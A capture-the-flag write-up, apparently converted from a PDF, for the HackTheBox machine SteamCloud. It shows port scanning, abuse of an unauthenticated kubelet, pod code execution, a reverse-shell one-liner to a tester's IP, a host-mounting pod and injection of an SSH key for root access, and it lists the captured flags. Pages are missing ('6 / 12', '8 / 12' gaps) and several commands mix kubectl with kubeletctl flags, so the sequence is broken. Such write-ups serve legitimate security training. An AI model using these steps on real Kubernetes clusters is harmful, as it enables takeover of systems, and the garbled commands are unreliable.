

SteamCloud by k0rriban

htbexplorer report

Name	IP Address	Operating System	Points	Rating	User Owns	Root Owns	Retired	Release Date	Retired Date	Free Lab	ID
SteamCloud	10.10.11.133	Linux	20	4.9	701	574	Yes	2022-02-14	2022-02-14	No	443

Summary

1. Scan ports -> 22,2379,2380,8443,10249,10250,10256
2. `kubeletctl pods` on p10250 -> `nginx` pod
3. `kubeletctl scan rce` -> `nginx` pod vuln to RCE
4. `kubeletctl exec "bash"` -> `nginx` root user (user shell)
5. Download `ca.crt` and `token` -> Pod creation
6. `kubectl create` -> `korriban` pod over whole filesystem
7. `kubletctl exec "bash"` on korriban -> RCE on `korriban`
8. Import our `id_rsa.pub` -> Root shell on cluster

Enumeration

OS

TTL	OS
+ - 64	Linux
+ - 128	Windows

As we can see in the code snippet below, the operating system is Linux.

```
> ping -c 1 10.10.11.133
PING 10.10.11.133 (10.10.11.133) 56(84) bytes of data.
64 bytes from 10.10.11.133: icmp_seq=1 ttl=63 time=108 ms
```

Nmap port scan

First, we will run a `open ports` scan using `nmap`:

```
> sudo nmap -p- -sS --min-rate 5000 10.10.11.133 -v -oG Enum/allPorts
```

We can retrieve the results using the utility `extractPorts`:

```
> extractPorts Enum/allPorts

[*] Extracting information...

[*] IP Address: 10.10.11.133

[*] Open ports: 22,2379,2380,8443,10249,10250,10256

[*] Ports have been copied to clipboard...
```

Next, we will run a detailed scan:

```

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)
|   256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)
|_  256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)
2379/tcp  open  ssl/etcd-client?
|_ ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP
Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2022-06-02T15:14:35
|_ Not valid after: 2023-06-02T15:14:36
2380/tcp  open  ssl/etcd-server?
|_ ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP
Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2022-06-02T15:14:35
|_ Not valid after: 2023-06-02T15:14:36
8443/tcp  open  ssl/https-alt
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: ca58be43-e14e-4bea-84f3-871da85e576e
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 1682473d-1bf4-4034-b22f-fa1d2bf26a86
|     X-Kubernetes-Pf-Prioritylevel-Uid: fe703b74-9c25-4ee6-bd02-22198dec70ee
|     Date: Thu, 02 Jun 2022 15:27:33 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User
"system:anonymous" cannot get path \"/nice ports,/Trinity.txt.bak","reason":"Forbidden","details":
{},"code":403}
|   GenericLines, Help, RTSPRequest, SSLSessionReq:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 8057009f-d626-4ae7-9e47-9ee2fde751a8
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 1682473d-1bf4-4034-b22f-fa1d2bf26a86
|     X-Kubernetes-Pf-Prioritylevel-Uid: fe703b74-9c25-4ee6-bd02-22198dec70ee
|     Date: Thu, 02 Jun 2022 15:27:31 GMT
|     Content-Length: 185
|_  {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User
"system:anonymous" cannot get path \"/","reason":"Forbidden","details":{},"code":403}
|_ http-title: Site doesn't have a title (application/json).
| tls-alpn:
|_  h2
|_  http/1.1
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal,
DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default,
DNS:kubernetes, DNS:localhost, IP Address:10.10.11.133, IP Address:10.96.0.1, IP Address:127.0.0.1,
IP Address:10.0.0.1
| Not valid before: 2022-06-01T15:14:34
|_ Not valid after: 2025-06-01T15:14:34
|_ ssl-date: TLS randomness does not represent time
10249/tcp open  http          Golang net/http server (Go-IPFS json-rpc or InfluxDB API)

```

```

|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open  ssl/unknown
|_tls-alpn:
|_  h2
|_  http/1.1
|_ssl-cert: Subject: commonName=steamcloud@1654182878
|_ Subject Alternative Name: DNS:steamcloud
|_ Not valid before: 2022-06-02T14:14:37
|_ Not valid after: 2023-06-02T14:14:37
|_ssl-date: TLS randomness does not represent time
10256/tcp open  http          Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8)

```

Final nmap report

Port	Service	Version	Extra
22	ssh	OpenSSH 7.9p1 Debian	-
2379/tcp	etcd-client	-	-
2380/tcp	etcd-server	-	-
8443/tcp	https-alt	-	kubernetes
10249/tcp	http	Golang net/http server	Go-IPFS json-rpc or InfluxDB API
10250/tcp	ssl/unknown	-	-
10256/tcp	http	Golang net/http server	Go-IPFS json-rpc or InfluxDB API

Port 8443

Let's start with the port displayed as https-alt. As it is an https port, we can test it with a GET request through `curl`:

```

> curl -X GET https://10.10.11.133:8443
curl: (60) SSL certificate problem: unable to get local issuer certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

```

As we can see, the certificate is self-signed, so we can use the `-k` flag to accept insecure certificates:

```

> curl -X GET https://10.10.11.133:8443 -k -s | jq
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {},
  "status": "Failure",
  "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
  "reason": "Forbidden",
  "details": {},
  "code": 403
}

```

This response shows how we can't access the api as `anonymous` or guest user. This is the same information we found with `nmap`. As we can see in the nmap report, the api is using `kubernetes`, for more information, we can go to: <https://kubernetes.io/docs/concepts/overview/what-is-kubernetes/>. In the nmap report, notice `DNS:control-plane.minikube.internal`, another domain name for the application, researching about minikube on google: <https://kubernetes.io/docs/tutorials/kubernetes-basics/create-cluster/cluster-intro/>

and the default port of its API is 8443, so we can assume that the api running on this port is the minikube API.

Kubectl

We can use kubectl to enumerate the pods running in the cluster:

```
> kubectl -s https://10.10.11.133:8443 get pod
Please enter Username: ^C
```

But we are asked for credentials we don't have.

Ports 2379 and 2380

Corresponding to etcd client and server respectively. If we look up these ports we discover they are related with kubernetes as an open source distributed key-value store used to hold and manage the critical information that distributed systems need to keep running.

Port 10250

Looking it up in google we discover it corresponds to kubelet, which is the component responsible for managing the pods running in the cluster. We can enumerate the pods running under the kubelet with this [script](#):

```
> kubeletctl -s 10.10.11.133 pods
```

Pods from Kubelet			
	POD	NAMESPACE	CONTAINERS
1	kube-proxy-drb42	kube-system	kube-proxy
2	coredns-78fcd69978-nx6hc	kube-system	coredns
3	nginx	default	nginx
4	etcd-steamcloud	kube-system	etcd
5	kube-apiserver-steamcloud	kube-system	kube-apiserver
6	kube-controller-manager-steamcloud	kube-system	kube-controller-manager
7	kube-scheduler-steamcloud	kube-system	kube-scheduler
8	storage-provisioner	kube-system	storage-provisioner

Success! We enumerated the pods managed by kubelet. And we can now scan the pods vulnerable to RCE:

```
> kubeletctl -s 10.10.11.133 scan rce
```

```
Node with pods vulnerable to RCE
```

	RCE	NODE IP	PODS	NAMESPACE	CONTAINERS	
	RUN					
1		10.10.11.133	kube-apiserver-steamcloud	kube-system	kube-apiserver	-
2			kube-controller-manager-steamcloud	kube-system	kube-controller-manager	-
3			kube-scheduler-steamcloud	kube-system	kube-scheduler	-
4			storage-provisioner	kube-system	storage-provisioner	-
5			kube-proxy-drb42	kube-system	kube-proxy	+
6			coredns-78fcd69978-nx6hc	kube-system	coredns	-
7			nginx	default	nginx	+
8			etcd-steamcloud	kube-system	etcd	-

From this output, notice the **nginx** pod, which is vulnerable to RCE. We can now obtain RCE on the nginx pod with:

```
> kubectl exec -s 10.10.11.133 -n kube-system --pod nginx --container nginx --root
```

Nginx pod user

To obtain the nginx pod user, we check if any of **nc**, **wget** or **curl** are installed in the pod:

```
> kubectl exec -s 10.10.11.133 -n kube-system --pod nginx --container nginx --which wget
[*] The response failed with status: 500
[*] Message: command 'which wget' exited with 1:
```

We can see that not even **which** is installed, so we can try obtaining a reverse shell directly:

```
> kubectl exec -s 10.10.11.133 -n kube-system --pod nginx --container nginx --bash -i >& /dev/tcp/10.10.16.2/3333 0>&1
[*] The response failed with status: 500
[*] Message: command 'bash -i >' exited with 127: bash: cannot set terminal process group (-1): Inappropriate ioctl for device
```

6 / 12

Now, we can use `kubectl` with these credentials:

Success!! We enumerated the pods in the cluster. But if we try any other action:

It returns a forbidden error for namespace `default`. Let's try using `auth` to enumerate what we can do with `kubectl`:

```
Usage:
  kubectl auth [flags] [options]
```

With the `can-i` command, we can enumerate available actions:

8 / 12

8	storage-provisioner	kube-system	storage-provisioner	-
9	kube-proxy-drb42	kube-system	kube-proxy	+

As korriban is using nginx's image, it is also vulnerable to RCE, so we can obtain a shell the same way:

```
> kubectl exec -s 10.10.11.133 exec "bash" --pod korriban --container korriban
root@korriban:/# whoami
whoami
root
```

If the exploitation was successful, /mnt should have mounted the host's filesystem:

```
root@korriban:/# ls mnt
ls mnt
bin  home      lib32  media  root  sys  vmlinuz
boot initrd.img lib64  mnt    run  tmp  vmlinuz.old
dev  initrd.img.old libx32  opt    sbin  usr
etc  lib        lost+found  proc  srv  var
```

It has, so we have now root access to the host filesystem. This means we can inject our public ssh key into /root/.ssh/authorized_keys:

```
# On the victim's machine
root@korriban:/# cd /mnt/root
cd /mnt/root
root@korriban:/mnt/root# mkdir .ssh
mkdir .ssh
# On our machine
> cd .ssh
> cat id_rsa.pub | xclip -sel clip
# On the victim's machine
root@korriban:/mnt/root# echo 'ssh-rsa
AAAAAB3NzaC1yc2EAAAADAQABAAQGC/bdZe/XdfhgjC/nfs1y1oNKYp9gkIdiGuCTL9dhYp4n5m2FQo5b4do+iugQ4lHkb26HB0
SKWCGJiGdgUsLkmm2VFhP3s01ZXXYAtA04eZT7coi6EFM0HdgCK2aU0tXoUFCxrt/95DAu/Nl69RYVv94n9d6wtp60Fb14VhsG/v
pBj0uaSQLJYYop59ny3TTkv/95i0QN44TQr9EVFDwevxTPi/4EpoJwAwH091/HBUJ13fP8T74gnHpoqIpkzDy10K60MXzXok2ZK1
NQ8DToiwGEQc4xRGuhTyJjMRzPZ+FXFzT+8YKf8yMZPVCz28o4i1fHC83/HH33KijUcUx72XdC6bIENQTwekxxVx9QLUYwFb8BDc
HZ1a3g1GvTl6JCYsvPyZL0SDz3GNhauI7nd1SQMCoL/leLRiN0+6x/u0qCE1lq2MtyAIKS3gemqCfK3XuT8K9ZYETXcb1eeo+xfJ
dqh60kN+0PVe46e2xclX4+/Sh3xYWGtq4a5o+W7BD/M= r3van@k0rriban' > .ssh/authorized_keys
# On our machine
> ssh -i id_rsa root@10.10.11.133
The authenticity of host '10.10.11.133 (10.10.11.133)' can't be established.
ED25519 key fingerprint is SHA256:/BfbWBuZ6K3xx1f7py/c7eMZ1Wedb7sKF5yhMHNXHZ4.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.133' (ED25519) to the list of known hosts.
Linux steamcloud 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

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the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

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permitted by applicable law.
Last login: Mon Jan 10 09:00:00 2022
```

```
root@steamcloud:~# whoami
root
root@steamcloud:~#
```

We obtained a root shell on the victim's machine.

Machine flags

Type	Flag	Blood	Date
User	890b419bd3bd2d2367098b79776b3a30	No	02-06-2022
Root	acb345d74e372f99f42bbbe74ee1ff83	No	02-06-2022

References

- <https://kubernetes.io/docs/concepts/overview/what-is-kubernetes/>
- <https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/kubernetes-basics#kubectl-basics>
- <https://www.ibm.com/cloud/learn/etcd>
- <https://kubernetes.io/docs/tasks/administer-cluster/configure-upgrade-etcd/>
- <https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/>
- <https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes#enumeration-inside-a-pod>
- <https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/kubernetes-enumeration#service-account-tokens>